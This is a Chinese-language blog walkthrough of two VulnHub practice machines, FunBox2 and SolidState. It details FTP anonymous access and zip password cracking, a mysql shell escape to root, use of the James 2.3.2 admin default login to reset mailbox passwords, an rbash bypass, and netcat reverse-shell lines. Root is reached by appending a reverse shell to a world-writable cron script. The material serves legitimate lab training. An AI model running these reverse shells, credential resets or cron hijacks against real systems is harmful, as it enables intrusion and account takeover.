Home
avatar

静静

Day9 FunBox2、SolidState靶场WP

泷羽Sec-静安,专注网络安全与编程技术的学习与分享,探索技术细节与实际应用。声明:本公众号所分享的工具与资源,仅供学习与研究使用,严禁用于任何非法活动。后台回复“配套工具”获取本文的工具

Funbox2 靶机Funbox: Rookie

靶机下载地址:https://download.vulnhub.com/funbox/Funbox2.ova

靶机导入错误的解决办法

如果导入靶机错误,或者找不到网址,可以按如下方式修改。重启虚机,并持续按 ‘Shift’ 键,然后按e进入如下界面,修改 ro 处,如果 ro 后面还有其他设置的话,一并删除就可以,把 ro 修改成 rw signie init=/bin/bash

image

修改 /etc/netplan/*.yaml 文件,改网卡名字。

image-20250413141930731

需修改文件/etc/network/interfaces 修改网卡为ens33

img

https://www.vulnhub.cn/post/vulnhub-vm-ip/

信息收集

sudo arp-scan -l 扫描发现新网段

image-20250413143725124

nmap -sV 172.168.169.130 扫描端口

image-20250413144210194

nmap --script=vuln -p21,22,80 172.168.169.130扫描漏洞

image-20250413144536696

image-20250413145159808

80端口是一个初始网页,然后再看robots.txt下提示有个logs文件。

image-20250413145407439

image-20250413151106715

扫描目录也没有发现什么有用的信息。这里看了别的博客,发现有人尝试了FTP和SSH的相关漏洞用msf也打不进去,目前学习就不占用时间验证了,等着二刷再试试别的办法。

FTP匿名登陆

尝试用 ftp 172.168.169.130 登录,发现可以用 anonymous 匿名登录。

image-20250413150750882

image-20250413151207887

mget *命令下载所有文件。然后查看文件。

cat welcome.msg                 
Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server.  If you have any unusual problems,
please report them via e-mail to <root@%L>.

cat .@admins | base64 -d
Hi Admins,

be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.

Regards
root  

image-20250413152838760

密码爆破

提示密码在名字.zip文件里,但是这里又很多文件,解压其中一个发现要解压密码,先把压缩包转hash,然后用jonh爆hash。

image-20250413153205118

image-20250413153304455

zip2john anna.zip > anna.hash
john anna.hash --wordlist=../Downloads/dict/rockyou-top15000.txt

一个一个文件太麻烦了,让AI写了一个循环脚本。保存为zip2jhonhash.sh然后chmod +x zip2jhonhash.sh 最后执行,就能处理当前文件夹下的zip文件,爆破其密码。

#!/bin/bash

# 定义字典路径(可根据需要修改)
WORDLIST="../Downloads/dict/rockyou-top15000.txt"

# 检查必要命令是否存在
command -v zip2john >/dev/null 2>&1 || { echo >&2 "zip2john 未找到,请安装 John the Ripper"; exit 1; }
command -v john >/dev/null 2>&1 || { echo >&2 "john 未找到,请安装 John the Ripper"; exit 1; }

# 检查字典文件是否存在
if [ ! -f "$WORDLIST" ]; then
    echo "字典文件不存在: $WORDLIST"
    exit 1
fi

# 计数器初始化
total=0
processed=0

# 获取所有 ZIP 文件
mapfile -t zip_files < <(find . -maxdepth 1 -type f -name "*.zip" -printf "%f\n")

total=${#zip_files[@]}
if [ "$total" -eq 0 ]; then
    echo "当前目录未找到 ZIP 文件"
    exit 0
fi

echo "发现 $total 个 ZIP 文件,开始处理..."

# 主循环处理
for zipfile in "${zip_files[@]}"; do
    ((processed++))
    
    # 生成哈希文件名
    hashfile="${zipfile%.zip}.hash"
    
    echo -e "\n[$processed/$total] 正在处理: $zipfile"
    
    # 生成哈希文件
    if ! zip2john "$zipfile" > "$hashfile"; then
        echo "错误:无法生成哈希文件 $hashfile"
        continue
    fi
    
    echo "生成哈希文件: $hashfile"
    
    # 执行破解
    echo "启动 John 破解进程..."
    if john --progress-every=30 --wordlist="$WORDLIST" "$hashfile"; then
        echo -e "\n成功破解 $zipfile 的密码:"
        john --show "$hashfile"
    else
        echo "未能破解 $zipfile 的密码"
    fi
    
    # 清理临时文件(可选)
    # rm -f "$hashfile"
done

echo -e "\n所有文件处理完成"

image-20250413160350411

解压出来tom.zip 得到一个登录密钥。

image-20250413160434235

SSH密钥登录

用ssh命令带密钥登录即可ssh tom@172.168.169.130 -i id_rsa

image-20250413160620388

image-20250413160810169

发现目录下有mysql历史记录,查看。

 cat .mysql_history
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit

image-20250413161244544

替换\40字符为空格,以为这里用的ascii码显示,然后发现tom的密码就是xx11yy22!

image-20250413161416598

方法一:su root提权

image-20250413161606536

image-20250413161632738

方法二:mysql提权

sudo mysql -u tom -p 
\! bash
echo $shell
id
cd /root
ls
cat flag.txt 

image-20250413162304687

image-20250413162413368

SolidState靶场

靶机下载地址:https://download.vulnhub.com/solidstate/SolidState.zip

信息收集

image-20250413170611611

80端口打开网页如下

image-20250413170709255

扫描网站目录如下,没有什么特别的东西。

image-20250413171507441

Readme.txt是作者介绍靶场的由来

image-20250413171604696

回到之前的扫描结果中,除了80端口还开放了22端口,但是7.4的版本几乎没有poc能直接利用,还发现有25、110、 119端口开放似乎是搞了个JAMES的邮件系统。

└─$ nmap -sV 172.168.169.129                     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:03 EDT
Nmap scan report for 172.168.169.129
Host is up (0.0033s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp  open  smtp    JAMES smtpd 2.3.2
80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
110/tcp open  pop3    JAMES pop3d 2.3.2
119/tcp open  nntp    JAMES nntpd (posting ok)
MAC Address: 00:0C:29:3F:7E:60 (VMware)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds

再做一次细致的扫描 nmap -sS -sV -A -T5 -p- 172.168.169.129发现有4555端口是远程端口。

└─$ nmap -sS -sV -A -T5 -p- 172.168.169.129
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:19 EDT
Nmap scan report for 172.168.169.129
Host is up (0.0017s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (172.168.169.128 [172.168.169.128])
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
MAC Address: 00:0C:29:3F:7E:60 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.72 ms 172.168.169.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.89 seconds

输入命令nc 172.168.169.129 4555 发现可以直接root/root进,然后输入listusers发现有几个用户名。

image-20250413175203699

还能setpassword重设密码,把所有用户的密码都设为123456。然后用telnet登录邮件服务器。

image-20250413175424205

telnet 172.168.169.129 110   # 登录邮件
user john  # 登录名
pass 123456 # 登录密码
list # 列出信件
retr 1 # 读第一封信

image-20250413175903513

image-20250413180217377

可以看到James给John发了一封邮件让他限制Mindy的权限,然后给她一个临时密码。这里能收集到的信息有:

  1. John和James可能都是管理员,且有一定运维基础,所以他们的密码应该难以爆破和登入。
  2. Mindy大概率是个新人,但是系统给他分配的账号可能包含一些高级权限,而Mindy目前不能完全控制平台。
  3. John可能按照James的指示给Mindy一个密码,极有可能在John写给Mindy的邮件里。

所以我们下一步应该看Mindy的邮件。

user mindy
+OK
pass 123456
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James
.

retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

image-20250413222331677

image-20250413222409678

信息收集得到mindy的ssh登录密码是P@55W0rd1!2@

进入SSH

方法一:一句话直接进

ssh mindy@172.168.169.131 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"
ssh mindy@172.168.169.131 -t "bash --noprofile"  # 建议用这个,能用vim

image-20250413223659562

如果我们直接ssh不带参数的话,进去的是rbash,不是完整的,后期没法提权。

image-20250413223833643

方法二:35513.py 直接进

搜索JAMES相关漏洞得到如下结果

searchsploit JAMES       

image-20250413172558842

简单测试一下发现能连。

image-20250413173030057

image-20250413173246700

将payload改为如下内容,反弹shell。

nc 172.168.169.128(攻击机ip) 1234 -e /bin/bash

image-20250413222622844

这里注意128是kali攻击机的ip,131是靶机的ip,中间网络断网重连过,所以网址变化过。kali攻击机本地开启监听

nc -lvp 8000

然后打入poc后再用mindy的ssh密码链接即可。

python2 35513.py 172.168.169.131  
ssh mindy@172.168.169.131

image-20250413222818422

得到第一段flag

cat user.txt
914d0a4ebc1777889b5b89a23f556fd75

image-20250413222946936

提权

我们查看james相关的信息,他在opt目录下有相关信息。

$ ps aux | grep  james
ps aux | grep  james
root       393  0.0  0.1   2332   584 ?        Ss   07:56   0:00 /bin/sh /opt/james-2.3.2/bin/run.sh
root       422  0.2  8.7 443624 44384 ?        Sl   07:56   0:24 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.ext.dirs=/opt/james-2.3.2/lib:/opt/james-2.3.2/tools/lib -Djava.security.manager -Djava.security.policy=jar:file:/opt/james-2.3.2/bin/phoenix-loader.jar!/META-INF/java.policy -Dnetworkaddress.cache.ttl=300 -Dphoenix.home=/opt/james-2.3.2 -Djava.io.tmpdir=/opt/james-2.3.2/temp -jar /opt/james-2.3.2/bin/phoenix-loader.jar
mindy     2520  0.0  0.1   4736   820 pts/1    S+   10:43   0:00 grep james
$ 

image-20250413224642404

/opt目录下发现一个可以利用的脚本,而且是以root的身份运行的。而使用命令find / -perm -0006 -type f ! -path "/proc/*" 2>/dev/null,查看是否存在other用户有read和write权限的脚本文件或可执行程序,并假设这些文件会被高权限用户的计划任务调用,从而通过在这些文件中写入提权代码来提权。也发现/opt/tmp.py脚本文件,这种脚本文件很大概率会被作为计划任务执行,而非手动执行。

image-20250413230136068

尝试把反弹shell写到这个以root账户执行的脚本中,大概率就会弹回一个root权限的shell。要改这个py文件我们会发现vi和nano在这个丐版的sh上运行不佳,所以我们想个办法,要么把编辑好的文件传上去,要么用替换掉中间的字符或者插入命令。或者用之前可以用nano的命令进入即可修改

echo "os.system('/bin/nc -e /bin/bash 192.168.169.128 4444')" >> tmp.py

然后本机监听4444端口,等待几分钟等cortab运行这个文件。

image-20250413235019269

image-20250413235146903

cat root.txt
b4c9723a28899b1c45db281d99cc87c9

得到root的flag。

root权限下查看crontab也能看到在跑tmp.py这个文件。

image-20250413235520063


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

渗透测试 OSCP